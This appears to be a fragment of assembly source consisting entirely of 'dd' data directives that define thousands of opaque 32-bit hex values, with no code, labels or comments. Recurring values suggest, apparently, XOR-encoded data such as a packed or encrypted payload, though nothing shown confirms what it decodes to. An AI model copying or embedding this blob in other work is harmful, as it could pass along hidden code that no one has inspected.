dd 905DB132h, 137AA5CCh, 1532943Dh, 1B8F8832h, 0F5664432h
dd 87E724A9h, 0C9F22053h, 3138EE97h, 0F4E3CFECh, 0FC603730h
dd 1566113Fh, 564C9BD5h, 936132C0h, 13E9C149h, 19EE1E3Fh
dd 1A668832h, 156642B3h, 15E82D32h, 43661132h, 1566898Ch
dd 4B914532h, 15662BDBh, 2472A32h, 2EB6D730h, 905DC08Fh
dd 137AAA3Ch, 1523943Dh, 73068832h, 1D5B96B3h, 156DAE3Dh
dd 138F1132h, 0BB668832h, 419C7E7Ch, 90ED43A6h, 137307ABh
dd 156699DBh, 1CEE1D32h, 6A9762FFh, 0D06C0008h, 918E29E2h
dd 0EA31DFADh, 29ED0636h, 11A29216h, 15670C3Dh, 2E9E4432h
dd 9EE20B7h, 3DE31E34h, 0ED668832h, 20BC1B9h, 45062427h
dd 0D100F9B3h, 733E9E81h, 74FE8A8Dh, 733C7052h, 5F6EF3B3h
dd 0EADED853h, 3C99BBCDh, 2E937AF5h, 9EE03B7h, 27E38734h
dd 0FC664432h, 15662222h, 0BB92CF2Ah, 0AFF002F9h, 47356C12h
dd 0A5CBEF96h, 35C794B9h, 44938E27h, 1566458Bh, 4CA92332h
dd 156619DBh, 71EB7C32h, 57B6D4EDh, 3E319CBh, 1A600DBAh
dd 1566D2B7h, 9369BD32h, 15662233h, 18E39ACEh, 1A609D14h
dd 15664EB1h, 1563CB32h, 0C79E1132h, 1A9B152Bh, 156653B2h
dd 1574CB32h, 81121132h, 0D8965423h, 0E3C6A273h, 2B772499h
dd 2BF57CC3h, 13763260h, 0E7E72C7Bh, 82D0DBDDh, 753CC61Bh
dd 748E47B2h, 156642DBh, 48F51832h, 2E936635h, 9EE8EB7h
dd 3BE34B34h, 0FC662232h, 15661121h, 595A03BDh, 14C21297h
dd 2CF3644h, 0A6E01EC8h, 9E9FDC67h, 73B5B7h, 0AE35DE34h
dd 15661133h, 753D5733h, 0E0B7CF54h, 1FE31953h, 1A600DBAh
dd 1566BDB7h, 0DAED2432h, 8F97A361h, 4C3DE4F1h, 0A269E853h
dd 0DBD14BFCh, 74E3A953h, 0FC60043Eh, 1566883Eh, 0B61AD3F6h
dd 62E83E73h, 0F14F2310h, 0EA993260h, 0C24FBBCDh, 0A8E5DB68h
dd 137303BFh, 18E28732h, 0FC66443Bh, 15662237h, 0E14FB3FDh
dd 83E3B321h, 1A6058B5h, 156611B7h, 58DD7132h, 95167F2Dh
dd 0E00756F4h, 8CFA7B9h, 0AC061727h, 6572BE03h, 74B5CF54h
dd 0FEE7FDB5h, 0EA99EECDh, 936957B5h, 1566443Ah, 1564AB3Dh
dd 74061132h, 9D4C0D09h, 9069422Eh, 15662271h, 156605DBh
dd 611B9232h, 110838C6h, 0A21D08A9h, 0ADBFEB43h, 0A9017A88h
dd 80E3CF49h, 75603701h, 7936AE54h, 92075BB9h, 14A5C5EDh
dd 92662232h, 156AF8EDh, 0CD7F8832h, 340BDB74h, 5C18D3A3h
dd 2E9E883Eh, 9E112B7h, 55E34B34h, 0E9662232h, 2D794B9h
dd 479F8E27h, 0DC127488h, 0D7E76821h, 151F4797h, 5E2A62B3h
dd 0D7E707B5h, 551F1206h, 946EFBF3h, 0FBADD8C0h, 4FB16DCDh
dd 156BA93Dh, 1D8F1132h, 0BC668832h, 50F1D7C6h, 2EFD9DDBh
dd 9E18FB7h, 57E38734h, 0E0664432h, 39CFA7B9h, 1F8F1727h
dd 88668832h, 4AAC6933h, 6E2AE89Ah, 0D3DF4033h, 9423FF07h
dd 625383C3h, 4CA92377h, 15661FDBh, 4436B32h, 0B6EE6771h
dd 5124FF5Fh, 0FC815DA4h, 15668837h, 30653ADh, 0B7E319F0h
dd 1A600DB5h, 1566A4B7h, 9E9FBD32h, 7BFBB7h, 0F7E67134h
dd 0ECEDEE7Eh, 0EAD81253h, 3C99DDCDh, 98694FC5h, 1566883Fh
dd 15664CDBh, 9079E732h, 0D1CA11B8h, 0B3E3B3C8h, 1A6058B5h
dd 15666CB7h, 16E31E32h, 75668832h, 0A8E525CEh, 13733AF3h
dd 2DE31E32h, 0ED668832h, 50FC1B9h, 93692427h, 1566113Ah
dd 0BDFEE52h, 743D17E7h, 156636DBh, 24584032h, 555A1E9h
dd 0CEB18E27h, 37865875h, 0C3A71BC7h, 0EAD8DE5Dh, 3C99BBCDh
dd 2E9A7CC5h, 9E1BBB7h, 3BE38734h, 75664432h, 0A8E3A953h
dd 1A600439h, 15669ABAh, 156BAD32h, 9C962232h, 9618FAA5h
dd 0EC11634Ch, 4401FED5h, 0EA99DD8Bh, 4CA938CDh, 0CAEDEE52h
dd 0BBE37F53h, 1A603EB5h, 156662B7h, 0CE28732h, 0FC664432h
dd 15662226h, 0EF779BCEh, 980BDB4Bh, 2B9FE8F1h, 8690FA1Bh
dd 2570BFABh, 0DA735B1h, 1A664227h, 156665B7h, 14E81E32h
dd 0ED668832h, 0F0E6BC52h, 90ED438Dh, 1373253Bh, 1567083Dh
dd 0E09F4432h, 7CBD9F67h, 0F8A77348h, 24AB0937h, 9410E754h
dd 6762BDFFh, 74939064h, 942DFB30h, 6E600EC7h, 0C093A345h
dd 142DEAC1h, 0ED9ED5DDh, 92D4C109h, 9069242Eh, 1566111Ch
dd 43DEEE52h, 0E2D14BA1h, 80E3A953h, 1A600413h, 15668FB8h
dd 0D8E62432h, 7496A958h, 1567AA61h, 0CA678832h, 9E002469h
dd 0B4DF44FCh, 905D70E0h, 137A0F84h, 1531C13Dh, 128F2232h
dd 6B661132h, 0F8DABA6h, 90ED6D53h, 137320E3h, 0F5DE7152h
dd 9E6652CBh, 1E8E25CCh, 0D9662232h, 0C0F209B3h, 2699E2h
dd 0F0E6E988h, 0FC077C21h, 15661137h, 3F3CE53Ch, 11991336h
dd 315AA916h, 1A62D5B1h, 156684BBh, 13E94B32h, 1A662232h
dd 156611B0h, 0ABE3B332h, 1A6058B5h, 156640B7h, 1E11E32h
dd 0FC668832h, 1566443Dh, 0A2DB36C8h, 0A47D4E41h, 0C9C1724Dh
dd 0E06C4BFCh, 0DA79FB1h, 1A661727h, 1566B2B7h, 3E44B32h
dd 0FC662232h, 15661123h, 0D5BECBEAh, 943D4C16h, 1E328DBFh
dd 0D0936E40h, 0D0E30343h, 0EC60512Fh, 15679F67h, 0FA671132h
dd 1DE5876Fh, 75664432h, 0D3E744C7h, 2E07E090h, 9E132B7h
dd 4CE34B34h, 1A662232h, 156619B5h, 17E38732h, 75664432h
dd 0D4DBA153h, 1560042Ah, 15580D3Dh, 99694432h, 15662235h
dd 1567993Dh, 9E938832h, 714DB7h, 1561CB34h, 0DDFB1132h
dd 268277B6h, 14D812CFh, 14662232h, 92694FC5h, 15668822h
dd 15664FDBh, 4CE67632h
dd 42AFB986h, 0AC1E9730h, 92A4C109h, 9069242Eh, 1566112Bh
dd 0F4E303C7h, 0E9605126h, 14DD71C7h, 14661132h, 9369D3EDh
dd 15664433h, 0D3E319CAh, 1A600DB5h, 1566F8B7h, 58F2432h
dd 5E662232h, 0BDF3E6E2h, 0BB9CDCF2h, 0B8B36F03h, 75E33FBAh
dd 99B49054h, 74A8021Eh, 4CE3CF53h, 1A603718h, 15660DB0h
dd 3EA8732h, 0FC664432h, 15662223h, 0D4969E7h, 445C37F0h
dd 0E21066A1h, 20D4EA59h, 24A12052h, 55A1B9CAh, 0CE14BA5h
dd 0FC662232h, 15661126h, 0FD384A43h, 0A78A1109h, 0CD605283h
dd 0F7ADC9Fh, 0A100A37Eh, 0DFE37FC7h, 1A603EB5h, 156630B7h
dd 15636132h, 63894432h, 9E23AC28h, 6A14B7h, 0A8337D34h
dd 0EA99BBCDh, 1A3BCD1Bh, 156610B4h, 905D7432h, 137AC3FCh
dd 152AA73Dh, 9E931132h, 4641B7h, 1577AD34h, 0F5112232h
dd 0E28C084Bh, 7C67491Dh, 0FFABFFF3h, 45FFDC51h, 1562558Ah
dd 366F8D29h, 38267192h, 1530266h, 0F5A7C9C5h, 5419A534h
dd 0D267A10Ch, 156ACB6Ah, 0BFFF1132h, 9EB48A22h, 0ED80CD23h
dd 905D65AAh, 137A96E0h, 15550D3Dh, 9C694432h, 1566223Ch
dd 15E31E52h, 94668832h, 89BEACE3h, 90ED437Fh, 13731B3Fh
dd 156682DBh, 0A406EC32h, 0AC8C4184h, 45E833C9h, 1566898Ah
dd 4DA14532h, 0C3E319CEh, 1A600DB5h, 1566C1B7h, 1577AD32h
dd 64502232h, 7FE28419h, 0BE7AC4D7h, 488C5BD6h, 9E1BA22Ah
dd 6CF4B7h, 0AA00E834h, 7306F604h, 128FEDB9h, 0FF661132h
dd 0A0AEBC30h, 7407A182h, 0EA999B63h, 0DA4FEECDh, 156E616Bh
dd 257A4432h, 8A06B482h, 905DEDF5h, 137A0FE8h, 157BC13Dh
dd 9E9F2232h, 43BCB7h, 15616134h, 0F764432h, 117E33EAh
dd 24A9202Fh, 54A9B9CBh, 2E938BB5h, 9E1FCB7h, 42E31E34h
dd 0FC668832h, 1566443Bh, 9285D13Fh, 5DCF5EA9h, 4CE30373h
dd 1A605131h, 15663AB5h, 1575F832h, 0B88A8832h, 7457808Bh
dd 60883324h, 658730AFh, 7C793164h, 14DE14F5h, 14662232h
dd 0FD0649F5h, 1566883Bh, 56CE1A30h, 0D8A484DAh, 0DFE77739h
dd 733C58B1h, 0FD6F87B3h, 905DDA53h, 13733F0Bh, 15430D3Dh
dd 73064432h, 4E9FBB3h, 9E07E0B9h, 45B9B7h, 1561AD34h
dd 604E2232h, 0CDAA85h, 14D8DE41h, 14664432h, 2E9E7CC5h
dd 9E1F3B7h, 2FE38734h, 0FC664432h, 15662238h, 6171FFEh
dd 86C0A33Eh, 90ED923Bh, 13732ADBh, 15E81E52h, 74668832h
dd 2A67FC62h, 0EB637AAEh, 3CC172F2h, 0FC9ED0F5h, 1566443Bh
dd 0DCC10F7Eh, 0B9BDBFB6h, 0BE3B363h, 1A6058BAh, 15665BB7h
dd 0F0E67132h, 0A8E5E9FDh, 137ACC14h, 33E32D32h, 0FC661132h
dd 15668821h, 3A67CB46h, 4CEEAB99h, 0D8565E9Eh, 0FD5D7533h
dd 968BDC5Ch, 4ACF8Fh, 91691134h, 15668870h, 68E3CFC7h
dd 0FC603711h, 15661122h, 13CE2382h, 0D416C6F2h, 914936CEh
dd 0F36AF176h, 156699DBh, 39FEF332h, 0C893A51Fh, 0B6343A8h
dd 0E70120A0h, 0AB302440h, 0EA99DDCDh, 1A38E61Bh, 156689B8h
dd 905DB132h, 137AAA10h, 153F943Dh, 96698832h, 15664433h
dd 33DBA1CAh, 15600DBAh, 15470D3Dh, 969E4432h, 4ACF8Fh
dd 91691134h, 15668805h, 156BC43Dh, 1D8F2232h, 62661132h
dd 900B3313h, 9EB7A5E2h, 4537B7h, 0A833ED34h, 0EA9977CDh
dd 0FC3BAB1Bh, 1566223Dh, 0D492B610h, 0FAAA5C2Ah, 0A1A60C60h
dd 2E812D73h, 9E1F7B7h, 34E38734h, 0E0664432h, 373BA7B9h
dd 9E691727h, 15668838h, 24D82252h, 0A1DE44C0h, 0A833707Fh
dd 0EA9977CDh, 0E03BAB1Bh, 928CA709h, 9069172Eh, 15668815h
dd 0D0E3CFCEh, 75603713h, 1D86BF89h, 0E2D18759h, 11991353h
dd 315AA916h, 1A62D5B1h, 15668EBDh, 74062432h, 2E07FCB9h
dd 9E1FFB7h, 2EE38734h, 0FC664432h, 15662234h, 0D3A9256h
dd 90ED525Bh, 13736333h, 1574CB52h, 0CD911132h, 0D124D536h
dd 20C514F2h, 0D0AB8EE5h, 8920D66Bh, 43803752h, 7407422Bh
dd 0EA999B63h, 0DA4FEECDh, 905D716Bh, 137AC3C0h, 1556A73Dh
dd 9E9F1132h, 44DDB7h, 9DDD2434h, 1A298D74h, 4607DB85h
dd 15668989h, 4EB94532h, 57C39C52h, 74934CB6h, 156681DBh
dd 9CC9FC32h, 0CB626116h, 905D05BAh, 137A0FC4h, 1550C13Dh
dd 9E932232h, 4A44B7h, 156E6134h, 0FB624432h, 8BCE51C0h
dd 0AE35FB5Fh, 15668833h, 0FC3D9B33h, 15662226h, 4A2886Bh
dd 64F526DEh, 95F3DBCCh, 0E407F0E2h, 0D558EF9Ch, 929C0D09h
dd 9069422Eh, 1566227Ah, 0ECD91E52h, 74D368B2h, 156AAD52h
dd 27622232h, 88A9A0B9h, 53B0FE31h, 73305ECFh, 743CE5B9h
dd 8CF94B9h, 479F8E27h, 7525FB88h, 1D8CE370h, 0F7B7CBC5h
dd 0D5E37AB3h, 0C24F44B6h, 10EB2D68h, 75661132h, 743FDFCAh
dd 9169BB39h, 15662215h, 1576F852h, 0A29E8832h, 0AF50E3F6h
dd 48064672h, 0FEDC7234h, 108F6621h, 0B9664432h, 837F3F86h
dd 0FBFEF853h, 2E9F77CDh, 55C1B7h, 33E32D34h, 75661132h
dd 0FB8F0961h, 4D345E0Eh, 15E32D61h, 4B661132h, 9BE30553h
dd 1A605835h, 156620B8h, 0FC077132h, 0EA996654h, 8CE37FC7h
dd 1A603731h, 15667DB7h, 15746132h, 0A6B04432h, 0FDC8F197h
dd 489B0A59h, 73611E73h, 0CC05BF9Ah, 0ADF4452h, 1560F958h
dd 0A0598832h, 0CB39542Fh, 0FB413A8Ch, 96074A33h, 9E1CE8Fh
dd 90694534h, 15662203h, 94AE9B52h, 53735CF8h, 9506256Bh
dd 0AF00BEDAh, 9807639Ah, 4C6DEFB7h, 0EA8FB832h, 0FC99DDDFh
dd 1566113Fh, 0EE770549h, 92951528h, 99A2ACD9h, 43E32A66h
dd 1A6094B5h, 156650B6h, 905DDB32h, 137A9668h, 157A0D3Dh
dd 9E064432h, 0C5ED44C9h, 0F8AEF853h, 916977CDh, 15664438h
dd 0FE229B52h, 9E006F09h, 150EE9F4h, 9E664432h, 0D1E50606h
dd 14E21E36h, 0ED668832h, 1A67BAB1h, 1566CDB7h, 156BF832h
dd 0E198832h, 8C936FA3h, 0FC0A8EDAh, 2E681A22h, 9E1C2B7h
dd 39E34B34h, 75662232h, 156BF8CEh, 0CDEA8832h, 31330731h
dd 8E72BA7Dh, 7457E028h, 92A20DBFh, 138F446Ah, 1E662232h
dd 0EDD311FBh, 0F8326173h, 2E9ABBCDh, 9E16CB7h, 27E31E34h
dd 1A668832h, 156651BCh, 1AE32D32h, 0FC661132h, 15668838h
dd 0D4D864B2h, 8E0105B0h, 90EBEB5Dh, 153E0008h, 0F846ADCEh
dd 759ADDCDh, 0E5E7C183h, 47F21599h, 47E37F53h, 1A603EB5h
dd 15664AB7h, 15696132h, 7CFC4432h, 4DFA246h, 19E2263Dh
dd 0E6F330F8h, 128F2439h, 0BF662232h, 99A027F9h, 0C7D648ECh
dd 6AE3C953h, 0FC667ABAh, 1566113Bh, 552B2851h, 0C879C943h
dd 0F9AACB3Eh, 9C69EECDh, 1566882Ah, 156657DBh, 9EE63432h
dd 0F119CADDh, 3AB63B81h, 7100DF32h, 79A2CC0Ch, 15243C5Ah
dd 316A0132h, 0DDEF85BBh, 1576CB6Bh, 562E1132h, 3174A37Ah
dd 47ECFB60h, 3BB507A7h, 4034168Bh, 928578Fh, 7D56FE55h
dd 0FF4F87A7h, 0C35AF6Fh, 0C34FB64Bh, 1E9FB868h, 8E32DC4h
dd 1A661132h, 156689B1h, 508FB132h, 1A99DDDEh, 15661BBFh
dd 9F69E832h, 15664432h, 0E907B981h, 9C3D4161h, 9A69D3ECh
dd 15664420h, 15662FDBh, 631E8732h, 0ADA639Fh, 87BA6F40h
dd 0A0EF6FBCh, 13731673h, 0AB00E8CEh, 9E00F02Fh, 0A0EF43C9h
dd 13731743h, 97583352h, 48F4AE2h, 29662232h, 43BCB93Dh
dd 0F0A2A511h, 0D3037314h, 0C9DE7943h, 95077153h, 9069610Ch
dd 156644FEh, 15662CDBh
dd 35536332h, 616CCE6Fh, 888301D9h, 0EA99DCE3h, 21E71044h
dd 29000B16h, 0AD361B69h, 4E5A44B1h, 0E03ED603h, 53BD3567h
dd 0FA673D70h, 9491236Fh, 5720CADDh, 0FAE6E84Bh, 943025BBh
dd 513F061Eh, 9ED306Bh, 11A20916h, 94664432h, 4C227BF1h
dd 0AD36ED13h, 1566C832h, 49C487B3h, 0D6672434h, 49C4FAB3h
dd 0FC3E8E34h, 1566443Ah, 79F2A302h, 0AE457523h, 12273509h
dd 97694227h, 15662214h, 2CB1AB52h, 94008DFCh, 746920E8h
dd 0D3ED4452h, 743CE462h, 93697309h, 1566441Eh, 0CBE74452h
dd 9E006290h, 3C8FE9F4h, 0FC99BBD9h, 1566223Fh, 0DAD96C15h
dd 0E8651A09h, 87F34507h, 0CEE7421Fh, 7B37DFDEh, 74AD0354h
dd 8D7F9B9h, 0ED062427h, 0D207D3B9h, 40B9B7h, 15664434h
dd 1FEF2D32h, 75661132h, 6C48608Dh, 0CAED2269h, 1F8F4253h
dd 95661132h, 0E4075AE2h, 0D558BA9Ch, 14E42DB8h, 0EC661132h
dd 13173DBBh, 1F8F4227h, 0EE662232h, 12D1F0CCh, 60DE2243h
dd 37FBC9F5h, 1A603F38h, 15660AB5h, 0E18732h, 0FC664432h
dd 15662222h, 0F9EE5749h, 0C01DC845h, 0B6BFE3CFh, 491CF93Eh
dd 78FC2CDh, 0DD668832h, 0B6EB8936h, 7C935912h, 95FBEB8Fh
dd 0FCA7CF3Ah, 1AA64F61h, 15662CB6h, 14EB1E32h, 0ED668832h
dd 15C4ADCBh, 98932232h, 0FFC6DAFh, 0C6997034h, 0EAE0C73Dh
dd 9569DDCDh, 15661125h, 15669ADBh, 2BEF9D32h, 0F8BBE40Bh
dd 0E7301A6Ah, 0DF3679B9h, 9E6F35B6h, 605387h, 3EF1E34h
dd 0FC668832h, 15664423h, 0FEAC5315h, 8CA163F1h, 0C7649898h
dd 0F3EF55B9h, 1574CBCAh, 8521132h, 752BC8ABh, 0F9BE4BDEh
dd 751B4C95h, 9BE6E20Eh, 33573DBBh, 1B8F4227h, 34662232h
dd 0D7C6A3A7h, 0A22ACE45h, 0FC5CE3BAh, 0E7FBAFD4h, 75600AA4h
dd 61278988h, 0CFED220Eh, 0FCB5DD53h, 1566113Eh, 0BB234221h
dd 0A0216838h, 33FCEB07h, 122794B9h, 9C9F8E27h, 6035B7h
dd 0DEA2D34h, 0FC661132h, 15668821h, 0F0BE8A1Dh, 0D6745AC0h
dd 661C71B9h, 0F7E10CA2h, 74047B2Ah, 1561A53Dh, 96691132h
dd 15668833h, 0FD58C4CBh, 15A7A73Dh, 9D691132h, 15668835h
dd 1567C43Dh, 0ED932232h, 3F27ACB1h, 1A668E27h, 1566E2B6h
dd 0A635DE32h, 0A13677EAh, 73858823h, 4EBECC6Ah, 156633DBh
dd 0ABA37132h, 0C39BE29Eh, 0BBB5E181h, 0E87D49DAh, 0E0CC506Fh
dd 31620364h, 156280B3h, 9E062232h, 16E31EE2h, 73668832h
dd 4207BAB9h, 0A6392B8Dh, 0ADA19021h, 0D4080311h, 0FAE740D5h
dd 51416B3Eh, 0A29DEB3h, 0CA9184E4h, 3D37B3B3h, 0ED4F403Bh
dd 109E386Dh, 5746A0D2h, 1560AD52h, 0D9942232h, 0BF3F4FFh
dd 74B60354h, 1567C65Ah, 315AAB32h, 1566158Dh, 4A9EA132h
dd 0EC9AEFC7h, 156404DBh, 9E007132h, 156E61CBh, 40254432h
dd 1FE6D16h, 98070BA9h, 99672AFh, 156FAD34h, 39D92232h
dd 0BA069718h, 0EC59C733h, 1C8F97CDh, 0AD662232h, 0D657A76Dh
dd 9DBFE2C2h, 1030D9BFh, 9F69242Fh, 1566113Fh, 156680DBh
dd 0F04FA32h, 6629A760h, 0E9B5EEE5h, 90694839h, 15664423h
dd 1563CBCAh, 0B0621132h, 0FC3877ECh, 1566442Ah, 64E3A1CBh
dd 10600434h, 0EBA961CEh, 7506BBCDh, 74939584h, 74A0AE3Dh
dd 123C15BFh, 1C8F422Fh, 56662232h, 473D32F6h, 94DC392Eh
dd 956997CDh, 15662223h, 15661DDBh, 0DA5EEE32h, 24E0B928h
dd 9CA82C81h, 0D56DE927h, 157C0D3Dh, 73064432h, 0AF97FAB3h
dd 0FC07EFB9h, 15668800h, 0CFE72252h, 0B4DE9259h, 7473CE32h
dd 15623361h, 0D7E74432h, 1D987766h, 0FFE7CB33h, 1D98DD66h
dd 1560AD69h, 6C392232h, 0FE963BBCh, 1567A6DBh, 88EBB132h
dd 137CB84Eh, 1561963Dh, 9E698832h, 15664433h, 1AB5DDCAh
dd 156646B1h, 15776132h, 2EEF4432h, 0BD583436h, 37A4DC91h
dd 723967BDh, 9EEACAF1h, 605387h, 3E31E34h, 0FC668832h
dd 15664423h, 7494C6D2h, 17F3A0A3h, 0F8061CD7h, 57CA128Fh
dd 538FD78Fh, 0FC66111Fh, 15668826h, 4566FA63h, 7265BE51h
dd 0FE837295h, 4C13CA86h, 0E52DFFA5h, 1317AFB9h, 9C9E1727h
dd 60F987h, 1E64B34h, 0FC662232h, 1566113Dh, 8293E99Ch
dd 8806E0F5h, 0A5D531CCh, 4035EB61h, 191E198Fh, 0F8E70927h
dd 7AB205DBh, 0D8E7CCC5h, 2F15879Eh, 0F3A3C57Fh, 3CDD9F64h
dd 0E44F4CDBh, 138449B3h, 5C9F7287h, 0C391D3B5h, 7306E0B5h
dd 7B14EB3h, 0D3ED2252h, 7407F8B9h, 156619DBh, 12E46932h
dd 0BBBC5460h, 0FBD975E3h, 5210F841h, 524847B3h, 942141E9h
dd 0B46968C5h, 4A983810h, 0D3E7461Bh, 403C3C88h, 156BCBCEh
dd 26DE1132h, 0FB921643h, 1CF47DD0h, 0E64E49A5h, 14E31E96h
dd 0ED668832h, 0EA9B68DBh, 0AA6942CDh, 0CAED71FBh, 989EE953h
dd 0EFE97AFh, 1560CB34h, 1E91132h, 48415002h, 9F0697CDh
dd 9C3343D1h, 9E8E98CFh, 0D1E5AC1Eh, 58E2436h, 82662232h
dd 0CDBFCBDFh, 0E163F834h, 942FB95Dh, 1A74C341h, 9F3FEE8Dh
dd 904DE9D5h, 13735983h, 157CAD3Dh, 91691132h, 15668826h
dd 15664BDBh, 0F3D9BC32h, 46489C74h, 0DF01F8EAh, 8512AB3h
dd 98E3ABCEh, 0ED600430h, 0A4E303CBh, 7560512Fh, 15662EDAh
dd 608A5732h, 4A4DFB51h, 0AEE5D571h, 1563CB65h, 0A6001132h
dd 4D9FEF07h, 0FB8FC554h, 9C31430Ah, 11A190D5h, 94668832h
dd 156640DDh, 315AA532h, 315A986Eh, 15770B3Dh, 198F4432h
dd 0B2662232h, 373B3581h, 8210CE2h, 7DAF7308h, 15662814h
dd 754215BBh, 156684DBh, 0BFB00632h, 0A34F4655h, 0A01F5539h
dd 156E6005h, 0B624432h, 15CF95F1h, 9E00F267h, 0EC07D0E2h
dd 8EA6C9BFh, 0A1062429h, 730670C3h, 749F73B9h, 1E8F95CDh
dd 0CA662232h, 34BC34B0h, 394964B2h, 90ED2348h, 137308CFh
dd 2FE679C7h, 11EF8832h, 156CAD16h, 71AB2232h, 32687B2Dh
dd 0BA5CED51h, 1512045Ah, 315AAB32h, 1AAE9A52h, 156688BDh
dd 90ED2532h, 13733F83h, 0E911A052h, 0F4EFD953h, 156285B3h
dd 0FCE52232h, 316A9636h, 3162016Eh, 0CFDD2252h, 0CFC79ABCh
dd 9807681Fh, 0EFB97BFh, 1DE64B34h, 75662232h, 1566973Dh
dd 0EA078832h, 730624E3h, 1AE1748Bh, 156611B6h, 9169E932h
dd 15664439h, 156624DBh, 0A355232h, 74425971h, 9C62A8B1h
dd 753C0636h, 15661FDAh, 0D6532F32h, 0C085CDE6h, 6B335F27h
dd 0FC331DF7h, 15668834h, 0CC8B40DAh, 753D1CBBh, 9F889054h
dd 7407E803h, 2C522C53h, 11EF2232h, 9D694816h, 15668834h
dd 753D1352h, 984D4353h, 13733BCFh, 6CDB0BC7h, 1560511Eh
dd 15DCA63Dh, 9A691132h, 15668821h, 15664ADBh, 1B6F032h
dd 0B29FA6A1h, 0E0B09F27h, 9ED06A54h, 748BB7h, 156DF834h
dd 0CBD38832h, 8A0ADE3Dh, 0DDE80541h, 0A30671EDh, 7439D9ACh
dd 68BCC554h, 904D4328h, 13733D4Bh, 156681DBh, 7CAA2A32h
dd 15EBFAD4h, 0D45DBF7Bh, 15040E3Dh, 78F4432h, 21662232h
dd 499868Fh, 93286AA7h, 817EC5FEh, 5577F2E7h, 0B4E39A27h
dd 0FC609D2Eh, 1566443Bh, 568AD656h, 9D8E14BEh, 6CE38B7Ch
dd 7560511Eh, 1565A53Dh, 0F2E61132h, 0CCEDDA5Bh, 90EF2569h
dd 13733BBFh, 0CBED7752h, 743DD852h, 14C2AD53h, 96692232h
dd 1566113Ah, 15640D3Dh, 74064432h, 1553955Ah, 316A9832h
dd 156681DBh, 0C01C4E32h, 0B3B7B794h, 9437709Bh, 2F42AC1Eh
dd 443E6FA1h, 865C068Bh
dd 4CAE1019h, 0EAD8DECBh, 1499BBCDh, 0FC067CC2h, 15661138h
dd 10C84E8Ah, 0A791B390h, 0ED07BB68h, 85DE4164h, 0AB76BE43h
dd 5503A5Dh, 1C3EE403h, 78F4FC2h, 8E668832h, 6ADB481Fh
dd 30C73524h, 83A13855h, 0FDC6904Fh, 0AA31BDAFh, 0EA99DDCDh
dd 1A39E91Bh, 156689B3h, 78FBC32h, 4D662232h, 293B37E9h
dd 7935AA6Ch, 53B92EF4h, 3EC53C56h, 0BCE3981Dh, 0FC609D20h
dd 15664438h, 0B80B517Fh, 9ECEC762h, 9067EC65h, 1373475Fh
dd 156629DBh, 4ED63A32h, 0D495235Bh, 7E60D1AFh, 391FA7F5h
dd 15661727h, 95698832h, 1566443Ah, 1564AD3Dh, 74061132h
dd 1A06C858h, 156644BBh, 0C4DE4432h, 150E70C4h, 75668822h
dd 156648DBh, 16AFAE32h, 0EE3659F0h, 0B3174339h, 9C3325FBh
dd 11A3A3D7h, 96661132h, 39E18CDFh, 19EF1816h, 156ECB16h
dd 71B71132h, 0BC7F8ED1h, 150CE010h, 15E12D52h, 0FC661132h
dd 15668837h, 82F97423h, 0EA9A4383h, 42D8A7h, 80997034h
dd 13736C2Fh, 1561A83Dh, 96691132h, 15668833h, 0B4E3CDC7h
dd 1A60372Eh, 15661BB3h, 0AA69E832h, 0CBE722C9h, 9C07A205h
dd 7F9CB7h, 15766134h, 16394432h, 0D01F968Ah, 0BFAE027Fh
dd 1948D4CBh, 21994146h, 0D1E77B16h, 15661136h, 156681DBh
dd 0D260BD32h, 6DD6D09Fh, 0A0992372h, 137391BFh, 0E8D3BBCBh
dd 1A603718h, 156619B4h, 17EB8732h, 75664432h, 156ACB53h
dd 331F1132h, 0AE58F321h, 76F8C2B2h, 4B0E99A0h, 9C661159h
dd 9569AC0Eh, 15664423h, 156DAD3Dh, 138F1132h, 4F668832h
dd 0C703CFD4h, 1572CB56h, 35001132h, 0CCD8E016h, 0F4E87AB6h
dd 4D28FE15h, 3C1AB480h, 0A0998D6Ch, 13735983h, 4F8FA252h
dd 15661FDAh, 0BDD4A532h, 0E5929C35h, 2AEF4A87h, 1A86F91Fh
dd 156688BEh, 98071F32h, 0ED37CB7h, 48F7134h, 0DE668832h
dd 7CE4FF82h, 0CE239B3Eh, 0AD2F72Fh, 5005CFC8h, 1566CC3Dh
dd 0EA072232h, 9867E8E2h, 1373A44Bh, 1561C33Dh, 73062232h
dd 7406CEB9h, 98DB0353h, 0ED60512Bh, 3F9B97B9h, 43061727h
dd 156684DBh, 4DA8EB32h, 0CD05500h, 248330CBh, 80DDD062h
dd 743EFC8Bh, 1571A43Dh, 78F1132h, 33668832h, 8B887CFDh
dd 0C20F6D69h, 462DDD42h, 0DF0ABF55h, 75C2B72Ah, 94006D86h
dd 74F01CC5h, 84D303CAh, 1A605138h, 156629B2h, 1560F832h
dd 555B8832h, 281240B3h, 0F9E5DA9Fh, 31629836h, 0F315318Ah
dd 0E9208335h, 1280518Bh, 4D9A5703h, 1567013Dh, 0D49A4432h
dd 730627F2h, 9400EFB9h, 741301C4h, 155DF35Ah, 316AAB32h
dd 0CE23458Bh, 4CAE8953h, 24E347CAh, 0E0603732h, 0CEB9CB9h
dd 1F8F8E27h, 0D6664432h, 0C085ABE6h, 6B336C27h, 0DBEDE8F7h
dd 156655DBh, 90CF0032h, 0F4C72AE6h, 6FA910C2h, 3781B5EAh
dd 7D070170h, 1566691Eh, 9A4284BBh, 14E64B32h, 0EC662232h
dd 1A06BCCEh, 156688B4h, 0CC95C532h, 743B7E79h, 15789B3Dh
dd 92698832h, 1566442Ah, 156631DBh, 0FDD61332h, 69B818BFh
dd 2015D10Ah, 0F35F215h, 8DF9DA8Bh, 45843361h, 94255084h
dd 1AD753F1h, 0E938986Ch, 0E9080969h, 285C1603h, 0F79A6CB3h
dd 944B1728h, 507B7474h, 73068642h, 7365368Ch, 9C07CBB9h
dd 6C1987h, 9A692434h, 15662230h, 0A1067052h, 74A702BCh
dd 0EA9EC753h, 15FBA73Dh, 1D8F1132h, 2B668832h, 0A38FAEC1h
dd 9488D0F9h, 0C8BBCC0Ch, 91E387EFh, 75664432h, 15DC7053h
dd 14661132h, 15644FC0h, 9E664432h, 0D1E50626h, 156AF836h
dd 343F8832h, 80EA7777h, 8584ADCDh, 463365CFh, 15668C89h
dd 4EBBCD32h, 1A3BCC33h, 15661DBFh, 13EE8732h, 1A664432h
dd 156622B2h, 84D39832h, 1A609D38h, 156659BFh, 2EB2D32h
dd 0FC661132h, 15668820h, 0A3195918h, 0F2BA2C23h, 6A9A2315h
dd 0FA83572Dh, 0D58F3DE7h, 0E999DDE6h, 15661BDBh, 85CE0D32h
